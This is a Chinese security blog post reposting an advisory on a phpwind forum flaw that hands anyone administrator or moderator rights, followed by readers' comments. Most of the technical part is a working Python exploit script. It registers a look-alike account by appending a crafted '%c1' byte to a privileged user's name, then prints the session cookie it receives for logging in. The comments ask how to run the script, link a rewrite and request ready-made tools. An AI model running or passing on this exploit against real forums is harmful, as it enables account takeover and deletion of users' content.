首页 » 技术文章 » phpwind管理权限泄露漏洞+利用程序

phpwind管理权限泄露漏洞+利用程序

鬼仔:利用程序是Python写的。

漏洞发布:http://www.80sec.com/
漏洞作者:jianxin@80sec.com
漏洞厂商: http://www.phpwind.com/ 本漏洞影响phpwind所有版本
漏洞危害:高
漏洞说明:phpwind是国内使用非常广泛的一款程序,由于在程序设计上存在错误,导致任何人可以取得前台管理员及斑主权限,做删除帖子等任意操作

利用方式:http://www.80sec.com有提供exploit
漏洞分析:由于phpwind论坛在设计上对数据库存储机制不了解,导致在程序逻辑上判断有问题,用精心构造的数据注册用户即可获得管理权限
漏洞修补:建议关闭注册功能等待官方出补丁
漏洞状态:
08.5.25发现此漏洞
08.6.1由80sec.com公开此漏洞

暂无补丁

原始地址:http://www.80sec.com/release/phpwind-exploit.txt

漏洞测试:

# -*- coding: gb2312 -*-
import urllib2,httplib,sys
httplib.HTTPConnection.debuglevel = 1
cookies = urllib2.HTTPCookieProcessor()
opener = urllib2.build_opener(cookies) 

def banner():
    print ""
    print "########################################################"
    print "Phpwind所有版本管理权限泄露漏洞利用poc"
    print "Copyright (C) 2006"
    print "jianxin@80sec.com"
    print "80sec是一个新的致力于web安全的小团体"
    print "http://www.80sec.com" 

def usage():
    banner()
    print "Usage:\n"
    print "   $ ./phpwind.py pwforumurl usertoattack\n"
    print "   pwforumurl    目标论坛地址如http://www.80sec.com/"
    print "   usertoattack    目标拥有权限的斑竹或管理员"
    print "   攻击结果将会在目标论坛注册一个和目标用户一样的帐户"
    print "   最新版本可以使用uid登陆"
    print "   其他版本可以使用cookie+useragent登陆"
    print "########################################################"
    print "" 

argvs=sys.argv
usage() 

data = "regname=%s%s1&regpwd=@80sec&regpwdrepeat=@80sec&regemail=foo@foo.com&regemailtoall=1&step=2" % (argvs[2],"%c1")
pwurl = "%s/register.php" % argvs[1] 

request = urllib2.Request(
    url     = pwurl ,
        headers = {'Content-Type' : 'application/x-www-form-urlencoded','User-Agent': '80sec owned this'},
        data    = data) 

f=opener.open(request)
headers=f.headers.dict
cookie=headers["set-cookie"]
try:
    if cookie.index('winduser'):
        print "Exploit Success!"
        print "Login with uid password @80sec or Cookie:"
        print cookie
        print "User-agent: 80sec owned this"
except:
    print "Error! http://www.80sec.com"
    print "Connect root#80sec.com"

相关日志

楼被抢了 25 层了... 抢座Rss 2.0或者 Trackback

  1. 一个人 Reply to this comment 2008/06/01 4:26 #1

    哈,php终于有大漏洞了。而且是所有版本的,3q鬼鬼

  2. st285 Reply to this comment 2008/06/01 4:33 #2

    谁能吧这个编译出来才是见鬼了......
    牛淫们......麻烦代码写规范点...这个复制下去恐怕神也编译不了

  3. 过路人 Reply to this comment 2008/06/01 10:39 #3

    汗哦..俺们是小菜鸟.这利用程序怎么搞都不知道..大大教教

  4. ben Reply to this comment 2008/06/01 11:54 #4

    见鬼,你刚发的日志就有近三百人的浏览量……

    这个漏洞可是严重至极,汗死,上次pw爆出这样严重的漏洞可是死了一大批,这次……眼看着discuz越来越牛叉,又爆出这样的漏洞,pw是压力大呀!

  5. ben Reply to this comment 2008/06/01 11:58 #5

    我发表的评论捏?

  6. daidai Reply to this comment 2008/06/01 12:15 #6

    确实哈....就不知道 usertoattack 填名字还是UID
    每次都跳到 Error! 麻烦鬼测试下哈...反正发包正常..测试几个没成功过一个

  7. savior Reply to this comment 2008/06/01 13:16 #7

    晕,这个是python写的,python是解释语言,虽说可以用py2exe编译,但是那也只不过是打包,只要装个PYTHON2.5就可以了,
    我也学PYTHON的,有空交流下!
    QQ594266388

  8. savior Reply to this comment 2008/06/01 13:25 #8

    这个程序写的菜啊,你开头那句还是不能解决问题,应该
    # -*- coding: utf-8 -*-
    这样中文问题就OK了

  9. savior Reply to this comment 2008/06/01 13:26 #9

    看完了,一个垃圾东西,忽悠人的,诶,

  10. kid Reply to this comment 2008/06/01 13:49 #10

    啊,看看,是PHPWIND嘛。
    没有学过这种语言——PYTHON

  11. buhu Reply to this comment 2008/06/01 15:47 #11

    怎么没看出是怎么利用漏洞的呢

  12. aa Reply to this comment 2008/06/01 15:59 #12

    就一假货

  13. Cat9life Reply to this comment 2008/06/01 19:37 #13

    如下错误提示.望哪位大牛提醒

    Traceback (most recent call last):
    File "C:\Python25\phpwind.py", line 34, in
    data = "regname=%s%s1&regpwd=@80sec&regpwdrepeat=@80sec&regemail=foo@foo.com
    &regemailtoall=1&step=2" % (argvs[2],"%c1")
    IndexError: list index out of range

  14. 魔兽秘籍 Reply to this comment 2008/06/01 20:01 #14

    不知道进入phpwind后台后应该怎么操作?

  15. xiaoyang Reply to this comment 2008/06/02 0:04 #15

    这个是不是真的?

  16. R Reply to this comment 2008/06/02 4:10 #16

    垃圾东西,谁要是能用这个拿到管理权限真见鬼了。
    那破代码无非是在用户名后加个%C11而已,真能忽悠。

  17. yuehei Reply to this comment 2008/06/02 15:03 #17

    这个漏洞可以使用,楼上几位真的让人很无语,不得不回个帖
    可能python会的人不多,我重写成PHP,可以看看http://yuehei.37net.com/show-15-1.html

  18. blackhumor Reply to this comment 2008/06/02 16:15 #18

    有没有谁把利用程序编绎成现成工具?

  19. ff Reply to this comment 2008/06/02 16:58 #19

    谁能分析下原理吗?

    为什么admin%c11的密码可以登录admin?

  20. ff Reply to this comment 2008/06/02 18:37 #20

    看了yuehei的分析明白了,谢谢

  21. est Reply to this comment 2008/06/02 19:44 #21

    Query Error: SELECT COUNT(*) AS count FROM pw_members WHERE username='plan?'

    The URL Is:
    http://bbs.stuhome.net/register.php?method=full

    MySQL Server Error:
    Illegal mix of collations (utf8_general_ci,IMPLICIT) and (gbk_chinese_ci,COERCIBLE) for operation '=' ( 1267 )

    You Can Get Help In:
    http://www.phpwind.net

    怎么办呢

  22. swat Reply to this comment 2008/06/03 14:52 #22

    还是不会用,有详细地说明吗?

  23. 小傻仔 Reply to this comment 2008/06/04 11:10 #23

    怎么不做个教程啊?..
    这样能让人家更清楚点啊?

  24. nbaaa Reply to this comment 2008/07/31 11:31 #24

    编译不通过· 对于没学过python的人,是不是挺茫然的·
    急切盼望 出一个视频教程! 谢谢!!!

Trackbacks & Pingbacks

发表评论